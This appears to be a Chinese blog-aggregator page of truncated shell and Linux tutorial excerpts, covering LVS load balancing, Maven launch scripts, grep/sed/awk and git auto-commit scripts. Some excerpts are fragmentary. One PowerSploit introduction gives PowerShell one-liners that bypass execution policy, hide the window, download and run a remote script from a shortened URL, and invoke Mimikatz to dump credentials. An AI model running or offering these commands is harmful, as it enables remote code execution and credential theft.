linux脚本

LVS DR模式搭建 keepalived + LVS

匿名 (未验证) 提交于 2019-12-03 00:40:02
一、LVS DR模式搭建 修改两台rs1和rs2机器的网关为之前的网关:192.168.238.2 #vi /etc/sysconfig/network-scripts/ifcfg-ens33 #systemctl restart network dir机器上也需要编写一个脚本,加入如下内容: [root@linux-01 ~]# vim /usr/local/sbin/lvs_dr.sh #! /bin/bash echo 1 > /proc/sys/net/ipv4/ip_forward ipv=/usr/sbin/ipvsadm vip=192.168.238.200 rs1=192.168.238.130 rs2=192.168.238.131 #注意这里的网卡名字 ifdown ens33 ifup ens33 ifconfig ens33:2 $vip broadcast $vip netmask 255.255.255.255 up route add -host $vip dev ens33:2 $ipv -C $ipv -A -t $vip:80 -s rr $ipv -a -t $vip:80 -r $rs1:80 -g -w 1 $ipv -a -t $vip:80 -r $rs2:80 -g -w 1 //脚本解释: echo 1 > /proc/sys

Jboot使用appassembler-maven-plugin插件生成启动脚本

匿名 (未验证) 提交于 2019-12-03 00:39:02
appassembler-maven-plugin介绍: 使用appassembler-maven-plugin插件可自动生成跨平台的启动脚本,可省去手工写脚本的麻烦,而且还可以生成jsw的后台运行程序。 插件官网: http://www.mojohaus.org/appassembler/appassembler-maven-plugin/ 官网详细介绍了该插件的用法。 实战: 最近项目用到了 Jboot框架 ,如何在Jboot框架中应用appassembler-maven-plugin插件生成启动脚本,是本文要写的。 1 生成可执行启动脚本 1.1 直接在pom.xml文件中加入插件配置 1 < build > 2 < plugins > 3 4 < plugin > 5 < groupId > org . apache . maven . plugins </ groupId > 6 <!-- Apache Maven 编译器插件 --> 7 < artifactId > maven - compiler - plugin </ artifactId > 8 < configuration > 9 < source > 1.8 </ source > 10 < target > 1.8 </ target > 11 < encoding > UTF - 8 </

Shell语句

匿名 (未验证) 提交于 2019-12-03 00:32:02
exit、break、continue exit退出当前的循环,脚本整体退出 break只管当前的退出 continue结束当前的,但不退出循环 为了更清楚的了解这几个的区别进行以下实验: [ root @node1 mnt ] # vim file . sh 文件内容如下: 执行脚本: [ root @node1 mnt ]# sh file . sh //正常执行 1 2 3 4 5 hello world ! [ root @node1 mnt ]# sh file . sh exit //exit退出当前的循环,脚本整体退出 1 2 [ root @node1 mnt ]# sh file . sh break //break只管当前的退出 1 2 hello world ! [ root @node1 mnt ]# sh file . sh continue //continue结束当前的,但不退出循环 1 2 4 5 hello world ! {1..5}是1到5,`seq 1 5 `也是1到5,seq可以设定步长 为了更清楚的了解进行以下实验: [ root @node1 mnt ] # vim num . sh 文件内容: 执行如下: [ root @node1 mnt ] # sh num . sh 1 2 3 4 5 [ root @node1 mnt ] #

Shell脚本(二)-初识文本处理三基友grep|sed|awk

匿名 (未验证) 提交于 2019-12-03 00:32:02
grep、sed和awk都是Linux中的文本处理工具。 grep:文本过滤器,使用特定模式匹配搜索文本,并默认输出匹配行。 sed:文本编辑器,操作纯ASCII码的文本,操作文本的时候按行进行操作,也叫行编辑器。 awk:文本报告生成器,现有的功能最强大的数据处理引擎之一。 grep grep:Global search regular expression and print out the line全面搜索研究正则表达式并显示出来 grep的基本格式: grep [OPTION]... PATTERN [FILE]... grep的常用参数: -E:支持扩展的正则表达式(egrep) -F:不支持正则表达式(fgrep) -n:显示行号 -c:显示匹配到的行数 -i:忽略大小写 -v:显示不匹配的行 -w:匹配整个单词(如 grep bin /etc/passwd 不会匹配到sbin) -e:多条件,或的关系(如 -e root -e jinx 则过滤出含有root或jinx的行) 例: 常用的正则表达式 sed awk 文章来源: Shell脚本(二)-初识文本处理三基友grep|sed|awk

Shell 学习随笔

匿名 (未验证) 提交于 2019-12-03 00:30:01
1、Shell 是一个用C语言编写的程序,它是用户使用 LInux 的桥梁。是一种命令语言也是一种程序设计语言。 2、创建一个 shell 脚本可以使用 vi/vim 新建一个文件 test.sh ,扩展名为 sh(sh 代表shell) #!/bin/bash echo “hello world !" 3、运行 Shell 脚本的方法 4、定义变量 命名只能使用英文字母,数字和下划线,首个字符不能以数字开头。 中间不能有空格,可以使用下划线(_)。 不能使用标点符号。 局部变量 环境变量 shell变量 = "runoob is a great company" `expr index "$string" is` # 输出 8 # 、 ## # # 、 %% % % 9、Shell 传递参数 我们可以在执行 Shell 脚本时,向脚本传递参数,脚本内获取参数的格式为: $n 。 n 特殊字符用来处理参数: $# 传递到脚本的参数个数 $* 以一个单字符串显示所有向脚本传递的参数。 如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数。 $$ 脚本运行的当前进程ID号 $! 后台运行的最后一个进程的ID号 $@ 与$*相同,但是使用时加引号,并在引号中返回每个参数。 $- 显示Shell使用的当前选项,与 set命令 功能相同。 $? 显示最后命令的退出状态

shell脚本――字符串 数组

匿名 (未验证) 提交于 2019-12-03 00:27:02
字符串 字符串可以用单引号,也可以用双引号,也可以不用引号。单双引号的区别跟PHP类似。 单引号 str = 'this is a string' 单引号字符串的限制: 单引号里的任何字符都会原样输出,单引号字符串中的变量是无效的; 单引号字串中不能出现单引号(对单引号使用转义符后也不行)。 双引号 your_name = 'qinjx' str = "Hello, I know you are \"$your_name\"! \n" 双引号的优点: 双引号里可以有变量 双引号里可以出现转义字符 拼接字符串 your_name = "qinjx" greeting = "hello, " $your_name " !" greeting_1 = "hello, ${your_name} !" echo $greeting $greeting_1 获取字符串长度 string = "abcd" echo $ {# string } #输出 4 提取子字符串 2 4 string = "runoob is a great site" echo $ { string : 1 : 4 } # 输出 unoo 查找子字符串 查找字符 " i s " 的位置: string = "runoob is a great company" echo `expr index "$string" is`

shell面试题

匿名 (未验证) 提交于 2019-12-03 00:26:01
<configuration> </artifactItem> <artifactItem> </artifactItem> <!-- </artifactItem> <groupId>some groupId</groupId> < </configuration> #!/bin/bash grep -n 'artifactItem>' 2.txt |awk '{print $1}' |sed 's/://' > /tmp/line_number.txt n=`wc -l /tmp/line_number.txt|awk '{print $1}'` get_value(){ x=`sed -n "$i"p /tmp/value.txt|awk '{print $1}'` } n2=$[$n/2] for j in `seq 1 $n2` do done 10.111.11.1,root,xyxyxy 10.111.11.1,root,xzxzxz 10.111.11.1,root,123456 10.111.11.1,root,xxxxxx #!/usr/bin/expect set passwd [lindex $argv 0] set host [lindex $argv 1] spawn ssh root@$host expect { "yes/no" { send

Powershell &amp;amp; Powersploit 入门

匿名 (未验证) 提交于 2019-12-03 00:19:01
前言 PowerShell 是运行在 Windows上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符 cmd.exe 的扩充,或是颠覆。 Powershell 当前 PowerShell 有四版本,分别为 1.0,2.0,3.0 ,4.0 PowerShell简介 PowerShell脚本 * 本地权限绕过执行 PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1 * 本地隐藏权限绕过执行脚本 PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive-NoProfile -WindowStyle Hidden(隐藏窗口) -File xxx.ps1 * 直接用IEX下载远程的PS1脚本回来权限绕过执行 powershell "IEX (New-ObjectNet.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds" Net.WebClient).DownloadString(“http://<ip_address>/path/xxx.ps1”) PowerSploit简介 一款基于powershell的后渗透( Post

Bhuman工具篇――Shell脚本

匿名 (未验证) 提交于 2019-12-03 00:18:01
相关软件最好是在终端中打开,这样在软件报错,闪退时可在终端中查出出现的问题。 但是一个个的在终端中打开过于麻烦,因此我们可做一个shell脚本来减轻我们的工作,节省比赛调试的时间 先在bhuman目录下创建一个脚本文件 xxx.sh 打开文件,输入 #!/bin/bash echo "press number key to choice" echo "-------- 1.make ---------" echo "-------- 2.loginWired --------" echo "-------- 3.loginWireless -------" echo "-------- 4.SimRobot -------" echo "-------- 5.Bush --------" echo "--------6.GameController--------" read number if [ $number -eq 1 ];then cd Make/Linux make cd; elif [ $number -eq 2 ];then cd Make/Linux echo "Input your IP:192.168.64." read ip ssh 192.168.64.$ip -l nao cd elif [ $number -eq 3 ];then cd Make

git自动提交脚本

匿名 (未验证) 提交于 2019-12-03 00:14:01
每次在linux都要重新一遍一遍敲着这些重复的代码,我想着能够优化一下,做个一键脚本,减少重复劳动。 #!/bin/bash git status read -r -p "是否继续提交? [Y/n] " input case $input in [yY][eE][sS]|[yY]) echo "继续提交" git add -A git commit -m $1 git push origin $2 exit 1 ;; [nN][oO]|[nN]) echo "中断提交" exit 1 ;; *) echo "输入错误,请重新输入" ;; esac 循环提交脚本 #!/bin/bash git status while true; do read -r -p "是否继续提交? [Y/n] " input case $input in [yY][eE][sS]|[yY]) echo "继续提交" git add -A git commit -m $1 git push origin $2 exit 1 ;; [nN][oO]|[nN]) echo "中断提交" exit 1 ;; *) echo "输入错误,请重新输入" ;; esac done 操作跟单次提交一样 有时候,我们本地开发提交代码用svn,提交到代码仓库,然后代码仓库推送到目标服务器 #!/bin/bash cd